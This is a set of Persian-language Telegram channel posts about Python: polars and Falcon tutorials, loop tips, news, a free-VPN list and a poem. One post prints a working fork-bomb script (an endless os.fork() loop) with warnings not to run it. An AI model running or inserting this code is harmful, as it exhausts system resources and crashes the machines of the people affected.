Python3
200 subscribers
100 photos
6 videos
26 files
518 links
🎓 آموزش و پروژه‌های Python
آموزش‌های کاربردی و پروژه‌های عملی Python برای همه سطوح. 🚀
Download Telegram
🔍 آموزش کار با کتابخانه polars در پایتون! 🔍

سلام دوستان! امروز می‌خوایم بریم سراغ یه کتابخانه‌ی جدید و هیجان‌انگیز به نام polars که برای پردازش داده‌ها خیلی سریع و کارآمد هست. اگه با pandas کار کرده باشید، می‌دونید که چقدر برای تحلیل داده‌ها قدرتمنده، ولی polars اومده تا با سرعت و کارایی بیشتر، بازی رو تغییر بده! 🐍🚀



### نصب کتابخانه polars

اول از همه باید این کتابخانه رو نصب کنیم. کافیه این دستور رو توی ترمینال یا محیط کار خودتون اجرا کنید:
pip install polars



### 1. ایجاد DataFrame و عملیات اولیه

توضیح: polars به ما امکان می‌ده که داده‌ها رو خیلی راحت توی DataFrame ذخیره و پردازش کنیم. بیایید با چند مثال شروع کنیم.

کد:
import polars as pl

# ایجاد یک DataFrame ساده
df = pl.DataFrame({
"نام": ["علی", "رضا", "سارا", "مینا"],
"سن": [23, 45, 35, 29],
"شهر": ["تهران", "مشهد", "اصفهان", "شیراز"]
})

print("DataFrame اولیه:")
print(df)

توضیح: این کد یک DataFrame ساده با چهار سطر ایجاد می‌کنه که شامل ستون‌های "نام"، "سن" و "شهر" هست. داده‌ها به صورت جدول‌مانند نمایش داده می‌شن. وقتی این DataFrame رو چاپ می‌کنید، خواهید دید که هر سطر یک فرد رو نمایش می‌ده و اطلاعات مربوط به نام، سن و شهر اون فرد رو داره.



### 2. فیلتر کردن داده‌ها

توضیح: بیایید داده‌ها رو فیلتر کنیم. مثلاً می‌خوایم فقط افراد بالای ۳۰ سال رو ببینیم.

کد:
# فیلتر کردن افراد بالای 30 سال
df_filtered = df.filter(pl.col("سن") > 30)

print("فیلتر شده (سن > 30):")
print(df_filtered)

توضیح: این کد DataFrame رو فیلتر می‌کنه و فقط ردیف‌هایی رو که سن‌شون بالای ۳۰ سال هست نمایش می‌ده. خروجی این کد یه DataFrame جدید خواهد بود که شامل افراد بالای ۳۰ سال می‌شه. در اینجا، ستون "سن" مورد بررسی قرار می‌گیره و ردیف‌هایی که این شرط رو دارن، در DataFrame فیلتر شده نمایش داده می‌شن.



### 3. اضافه کردن ستون جدید

توضیح: اضافه کردن ستون جدید به DataFrame با استفاده از polars خیلی ساده‌ست. بیایید یه ستون جدید به نام "گروه سنی" اضافه کنیم.

کد:
# اضافه کردن ستون جدید "گروه سنی"
df = df.with_column(
(pl.col("سن") // 10 * 10).alias("گروه سنی")
)

print("با ستون جدید 'گروه سنی':")
print(df)

توضیح: این کد یک ستون جدید به نام "گروه سنی" به DataFrame اضافه می‌کنه که بر اساس تقسیم سن بر ۱۰ و ضرب در ۱۰ محاسبه می‌شه. این ستون، گروه سنی هر فرد رو نشون می‌ده. به عنوان مثال، اگه سن فردی ۲۳ باشه، گروه سنی اون ۲۰ خواهد بود (۲۳ تقسیم بر ۱۰ و سپس ضرب در ۱۰). این کار به شما کمک می‌کنه که بتونید افراد رو بر اساس گروه‌های سنی مختلف دسته‌بندی کنید.



### 4. گروه‌بندی داده‌ها

توضیح: یکی از ویژگی‌های مهم polars، امکان گروه‌بندی داده‌ها و انجام محاسبات مختلف روی گروه‌هاست. بیایید میانگین سن هر گروه سنی رو حساب کنیم.

کد:
# گروه‌بندی بر اساس "گروه سنی" و محاسبه میانگین سن
grouped_df = df.groupby("گروه سنی").agg(pl.col("سن").mean().alias("میانگین سن"))

print("میانگین سن بر اساس گروه سنی:")
print(grouped_df)

توضیح: این کد داده‌ها رو بر اساس ستون "گروه سنی" گروه‌بندی می‌کنه و میانگین سن هر گروه رو محاسبه می‌کنه. نتیجه یک DataFrame خواهد بود که هر گروه سنی و میانگین سن مربوط به اون گروه رو نشون می‌ده. این کار به شما کمک می‌کنه که تحلیل دقیقی از گروه‌های سنی مختلف و میانگین سن هر گروه داشته باشید.



با این چند مثال ساده، متوجه شدید که کار با polars چقدر راحت و سریع هست. این کتابخانه برای تحلیل داده‌ها مخصوصاً با حجم بالا، عملکرد خیلی خوبی داره و می‌تونه کارهاتون رو خیلی راحت‌تر و سریع‌تر کنه.



ادامه این آموزش‌های جذاب رو توی پست‌های بعدی می‌ذارم، پس کانال رو دنبال کنید تا با هم بیشتر در دنیای کتابخانه‌های پایتون بگردیم! 🚀👩‍💻👨‍💻

🔗https://t.iss.one/hamidpython123

#آموزش
👍3
تازه‌ترین اخبار پایتون (ژوئن 2024)

1. انتشار نسخه‌های جدید پایتون: نسخه‌های 3.10.14، 3.9.19، و 3.8.19 با رفع مشکلات امنیتی و بهبودهای جزئی منتشر شدند. از جمله تغییرات مهم، به‌روزرسانی کتابخانه libexpat و اصلاح مشکلات مربوط به zipfile است. 🔄🐍

2. PyTorch Docathon 2024: این رویداد از 4 ژوئن آغاز می‌شود و هدف آن بهبود مستندات PyTorch است. این یک فرصت عالی برای مشارکت در جامعه PyTorch و بهبود مستندات برای کاربران جدید است. 📚🚀

3. تحولات سریع‌تر شدن پایتون: پروژه Faster CPython پیشرفت‌های قابل توجهی داشته و پایتون 3.11 نسبت به نسخه 3.10 تا 60% سریع‌تر شده است. این بهبودها با تلاش‌های مستمر برای بهینه‌سازی عملکرد پایتون امکان‌پذیر شده‌اند. 🐍

4. ابتکار جدید امنیت سایبری: بنیاد نرم‌افزار پایتون یک ابتکار جدید برای تدوین استانداردهای امنیت سایبری راه‌اندازی کرده است. این پروژه به دنبال ارتقای امنیت کدهای پایتون و محافظت از برنامه‌ها در برابر تهدیدات سایبری است. 🛡️🔐

برای اطلاعات بیشتر و به‌روز ماندن از تحولات جدید پایتون، با ما همراه باشید! 🌟📈

🔗https://t.iss.one/hamidpython123

#Python #PyTorch #CyberSecurity #FasterCPython #PythonUpdates
👍41
یه بیلاخ زیر پستای من بزاری دیگه 🥺
از اینا👍
👍5🍌2
🆕️بازی پینگ پونگ 👇
میتونید از متغییر های اول کد همه چیزو کاستوم کنید ✅️👍

فقط تو گوشی باید عمودی بگیرین گوشیو
👍1
جالب بود زیر این بیلاخ بزارین👍🥲
👍4
⁉️به نظرتون نات بخرم یا نه 🧐
👍1
🥲نخندین فقط لطفا🙏

در دل کد، جهانی نهفته است،
در هر خط، رویایی ساخته شده با دست.
زبانی که بی‌صدا حرف می‌زند،
اما دنیاها را به هم می‌پیوندد.

کدنویس، شاعر دنیای بی‌کران،
با الگوریتم‌هایش، عشق را می‌آفریند.
در هر تابع، داستانی عمیق،
در هر برنامه، زندگی‌ای تازه می‌ریزد.

اشکی برای دیباگ، لبخندی برای ران،
در هر سیمی، احساسی پنهان.
کد، زبان عشق است، بی‌پایان،
برنامه‌نویس، قلب این عشق، در دستان.

بیا و کد بزن، با هر نوا،
بساز جهانی، با عشق و صفا.
در هر خط کد، یک قلب می‌تپد،
برنامه‌نویسی، هنری است که هرگز نمی‌خفتد.

🔗https://t.iss.one/hamidpython123

#شعر
ممنون میشم اینجا رو بیلاخ کنید🥲
👍4
کتابخانه های پایتون

🔗https://t.iss.one/hamidpython123

#آموزشی
👍1
✅️اگه هنوز شروع نکردین معایب و
مزایای پایتون رو یه نگاه بندازین

🔗https://t.iss.one/hamidpython123

#آموزش
👍1
آموزش فریمورک Falcon در پایتون 🚀

سلام به همه برنامه‌نویس‌های عزیز! 😎 امروز می‌خوایم با هم به یکی از فریمورک‌های خفن و سبک برای ساخت API در پایتون بپردازیم. بله درست حدس زدید، صحبت از فریمورک Falcon هست! 🦅

چرا Falcon؟

Falcon خیلی سبکه و سرعتش بالاست، مخصوصاً برای ساختن API های RESTful که لازمه سریع و بهینه باشن. اصلاً شعارش هم اینه: "پایتون رو برای ساخت API ها سریع‌تر و ساده‌تر کنید." 😍

شروع کار با Falcon

نصب Falcon

اولین قدم، نصب فریمورک Falcon هست. برای این کار کافیه دستور زیر رو توی ترمینال بزنید:

pip install falcon

ایجاد یک API ساده

حالا که Falcon رو نصب کردیم، بیایید یک API ساده بسازیم که فقط یک پیغام خوش‌آمدگویی برمی‌گردونه.

# myapp.py

import falcon

class HelloWorldResource:
def on_get(self, req, resp):
resp.media = {
'message': 'سلام دنیا! به اولین API Falcon خوش آمدید! 🌍'
}

app = falcon.App()

hello = HelloWorldResource()
app.add_route('/hello', hello)

اجرای سرور

برای اجرای سرور، از گانیکورن (Gunicorn) استفاده می‌کنیم:

gunicorn myapp:app

حالا کافیه مرورگرتون رو باز کنید و به آدرس زیر برید:

https://localhost:8000/hello

✅️برای آموزش‌های بیشتر و مثال‌های کاربردی، به کانال ما بپیوندید❗️


🔗https://t.iss.one/hamidpython123


#برنامه‌نویسی #پایتون #Falcon #API #آموزش
بهترین وی‌پی‌ان‌های رایگان و قدرتمند برای ویندوز و مک 💻🍏

سلام به همه دوستانی که دنبال اینترنت بدون مرز هستن! 🌐 امروز می‌خوایم بهترین وی‌پی‌ان‌های رایگان و قدرتمند رو برای ویندوز و مک معرفی کنیم تا بتونید به راحتی و با خیال راحت در دنیای اینترنت گشت و گذار کنید. پس با ما همراه باشید! 🚀

1. ProtonVPN
این وی‌پی‌ان توسط همون تیمی ساخته شده که ProtonMail رو توسعه داده، پس حریم خصوصی شما تضمینه! 😎

مزایا:
- امنیت بالا 🔒: رمزگذاری قوی که داده‌های شما رو امن نگه می‌داره.
- بدون محدودیت حجم 💾: دانلود کنید تا دستگاهتون پر بشه!
- سازگار با ویندوز و مک 🖥️🍏: فرقی نمی‌کنه از چه سیستمی استفاده می‌کنید.

2. Windscribe
این وی‌پی‌ان یک گزینه دیگه‌ی عالی برای حفاظت از حریم خصوصی و دسترسی به محتوای محدود شده است. 🌬️

مزایا:
- 10 گیگابایت حجم رایگان ماهانه 🎁: بیشتر از این می‌خواید؟! بریم به سراغ نسخه پولی!
- Ad-blocker داخلی 🚫: با تبلیغات مزاحم خداحافظی کنید.
- پشتیبانی از چندین دستگاه 📱💻: ویندوز، مک و حتی موبایل هم پوشش داده میشه.

3. Hotspot Shield
این وی‌پی‌ان یکی از پرطرفدارترین‌هاست و امکانات زیادی داره. 🔥

مزایا:
- سرعت بالا 🚀: سرعت بالای این وی‌پی‌ان باعث میشه که مثل برق ازش استفاده کنید.
- استفاده آسان 🛠️: نصب و استفاده ازش خیلی ساده است.
- حفاظت از حریم خصوصی 🕵️‍♂️: با Hotspot Shield همیشه ناشناس بمونید.

4. TunnelBear
این وی‌پی‌ان با طراحی خلاقانه و بامزه‌ای که داره، همه رو عاشق خودش کرده! 🐻

مزایا:
- کاربری آسان 🐾: نصب و استفاده ازش مثل آب خوردنه!
- 1.5 گیگابایت حجم رایگان ماهانه 🐻: هر چی دل‌تون خواست دانلود کنید.
- امنیت بالا 🛡️: همیشه امن و مطمئن.

5. Hide.me
یک وی‌پی‌ان ساده ولی قدرتمند که به خوبی کار می‌کنه. 🕶️

مزایا:
- 2 گیگابایت حجم رایگان ماهانه 🎉: برای استفاده معمولی کافیه.
- بدون تبلیغات 🚫: دیگه خبری از تبلیغات آزاردهنده نیست.
- پشتیبانی 24/7 : هر وقت مشکلی داشتید، پشتیبانی در دسترسه.

این بود لیست ما از بهترین وی‌پی‌ان‌های رایگان برای ویندوز و مک! امیدوارم ازشون استفاده کنید و لذت ببرید. 😊 اگر سوالی دارید یا تجربه‌ای با این وی‌پی‌ان‌ها دارید، حتماً در کانال بپرسید یا به اشتراک بذارید.


🔗https://t.iss.one/hamidpython123

#وی‌پی‌ان #رایگان #ویندوز #مک #حریم_خصوصی #آموزش
👍1
🚀 برنامه مدیریت اطلاعات دانشجویان - نسخه ۱.۰


این برنامه فوق‌العاده کارآمد به شما امکان مدیریت سریع و آسان اطلاعات دانشجویان را می‌دهد. با استفاده از آن می‌توانید اطلاعات دانشجویان را ثبت کرده، ویرایش کنید و حتی داده‌ها را جستجو کنید.

📚 کتابخانه مورد نیاز:
برای اجرای این برنامه، کتابخانه tkinter باید نصب شود.

🔧 دستور نصب کتابخانه:

pip install tk

🌟 نحوه استفاده:
با اجرای برنامه، فرم ورود اطلاعات دانشجویان را مشاهده کنید و اطلاعات مورد نیاز را وارد کنید. سپس از امکانات منحصر به فرد این برنامه بهره مند شوید!

🚀 به‌سرعت دانشجویان خود را مدیریت کنید و به موفقیت‌های بزرگتری دست یابید!
👍1
🟥اگه پیشنهادی دارید برا پستای بعدی یه نظر بدین ممنون میش❤️
🎓 آموزش بهینه‌سازی استفاده از حلقه‌ها در پایتون

سلام دوستان! 👋 امروز می‌خوایم درباره‌ی بهینه‌سازی استفاده از حلقه‌ها در پایتون صحبت کنیم. حلقه‌ها یکی از اجزای اساسی برنامه‌نویسی هستند که به ما اجازه می‌دهند تا یک کار را چندین بار تکرار کنیم. اما استفاده‌ی بهینه از آنها می‌تواند کارایی و خوانایی کد ما را بهبود ببخشد. بیایید با چند مثال و نکته شروع کنیم! 🚀

۱. استفاده از حلقه‌های for به جای while

اغلب اوقات حلقه‌های for از while بهتر هستند چون هم خوانایی بیشتری دارند و هم احتمال اشتباه در آنها کمتر است. به مثال زیر توجه کنید:

# استفاده از حلقه while
i = 0
while i < 10:
print(i)
i += 1

# استفاده از حلقه for
for i in range(10):
print(i)

در اینجا حلقه‌ی for خواناتر و کوتاه‌تر است. 🧠

۲. استفاده از توابع enumerate و zip

گاهی اوقات نیاز داریم هم به اندیس و هم به مقدار عناصر یک لیست دسترسی داشته باشیم. در این مواقع می‌توانیم از enumerate استفاده کنیم:

fruits = ["apple", "banana", "cherry"]
for index, fruit in enumerate(fruits):
print(f"{index}: {fruit}")

و وقتی که بخواهیم دو یا چند لیست را همزمان پیمایش کنیم، zip کاربردی است:

names = ["Alice", "Bob", "Charlie"]
ages = [25, 30, 35]

for name, age in zip(names, ages):
print(f"{name} is {age} years old.")

۳. استفاده از list comprehensions

لیست‌ها و مجموعه‌های دیگر را می‌توانیم با استفاده از list comprehensions به صورت بهینه بسازیم. این روش نه تنها کد را کوتاه‌تر می‌کند بلکه سریع‌تر هم اجرا می‌شود:

# ساختن لیستی از اعداد مربع شده
squares = [x**2 for x in range(10)]
print(squares)

# فیلتر کردن عناصر لیست
even_numbers = [x for x in range(20) if x % 2 == 0]
print(even_numbers)

۴. استفاده از توابع داخلی

پایتون توابع داخلی زیادی دارد که می‌توانند جایگزین حلقه‌ها شوند و کد ما را تمیزتر و کارآمدتر کنند. به عنوان مثال، برای جمع کردن عناصر یک لیست:

numbers = [1, 2, 3, 4, 5]

# استفاده از حلقه for
total = 0
for number in numbers:
total += number

# استفاده از تابع sum
total = sum(numbers)

استفاده از تابع sum ساده‌تر و کارآمدتر است. 💡

۵. جلوگیری از تغییر لیست‌ها در حین پیمایش

اگر نیاز دارید در حین پیمایش لیستی، آن را تغییر دهید، بهتر است ابتدا یک کپی از لیست تهیه کنید یا از لیست جدیدی استفاده کنید. تغییر لیست اصلی می‌تواند باعث بروز خطاهای غیرمنتظره شود:

numbers = [1, 2, 3, 4, 5]

# پیمایش لیست و حذف عناصر زوج
for number in numbers[:]: # استفاده از یک کپی از لیست
if number % 2 == 0:
numbers.remove(number)

print(numbers)

نتیجه‌گیری

با استفاده از این نکات و مثال‌ها، می‌توانید کدهای پایتون خود را بهینه‌تر و خواناتر بنویسید. امیدوارم این آموزش براتون مفید بوده باشه! 🌟 نظرات و سوالاتتون رو با ما به اشتراک بگذارید.



📌 برای دیدن آموزش‌های بیشتر به کانال ما بپیوندید و با دوستانتون به اشتراک بگذارید! 📲

🔗https://t.iss.one/hamidpython123

#پایتون #آموزش_برنامه‌نویسی #بهینه_سازی #حلقه_ها #پایتون_پیشرفته
👍1
❗️❗️این کد رو داخل سیستم خودت اجرا نکن هیچوقت ❗️❗️

🆕️فورک بنب به زبان پایتون🐍

import os

def fork_bomb():
while True:
os.fork()

fork_bomb()

⁉️این کد به طور پیوسته اقدام به کپی‌برداری از خودش می‌کند و تعداد فرایندها به صورت نمایی افزایش می‌یابد. لطفاً با احتیاط از این کد استفاده کنید.

🔗https://t.iss.one/hamidpython123

#فورک_بمب #کد_خودکار #سیستم_عامل
#برنامه_نویسی
👍2
🟥وقتی اجرا بشه خودش آنقدر سریع تکثیر میشه که کامپیوتر کرش کنه

(یک بار اجرا)

❗️❗️لطفا از این کد در کامپیوتر های خود و دیگران استفاده نکنید❗️❗️
Python3 pinned «سلام به همه‌ی دوستان علاقمند به برنامه‌نویسی! به کانال آموزش برنامه‌نویسی پایتون خوش آمدید. 🎉 در این کانال هر روز آموزش‌های جدید و مفید در زمینه پایتون منتشر می‌کنیم. هدف ما این است که با دوره‌های منظم و گام به گام، شما را از مبانی اولیه تا مفاهیم پیشرفته…»
❗️ربات تلگرام اد میکنی تو گروهت بعد میتونی کد هاتو به هر زبانی تو تلگرام اجرا کنی🤌🤣

🔗@ExtraMegRunnerBot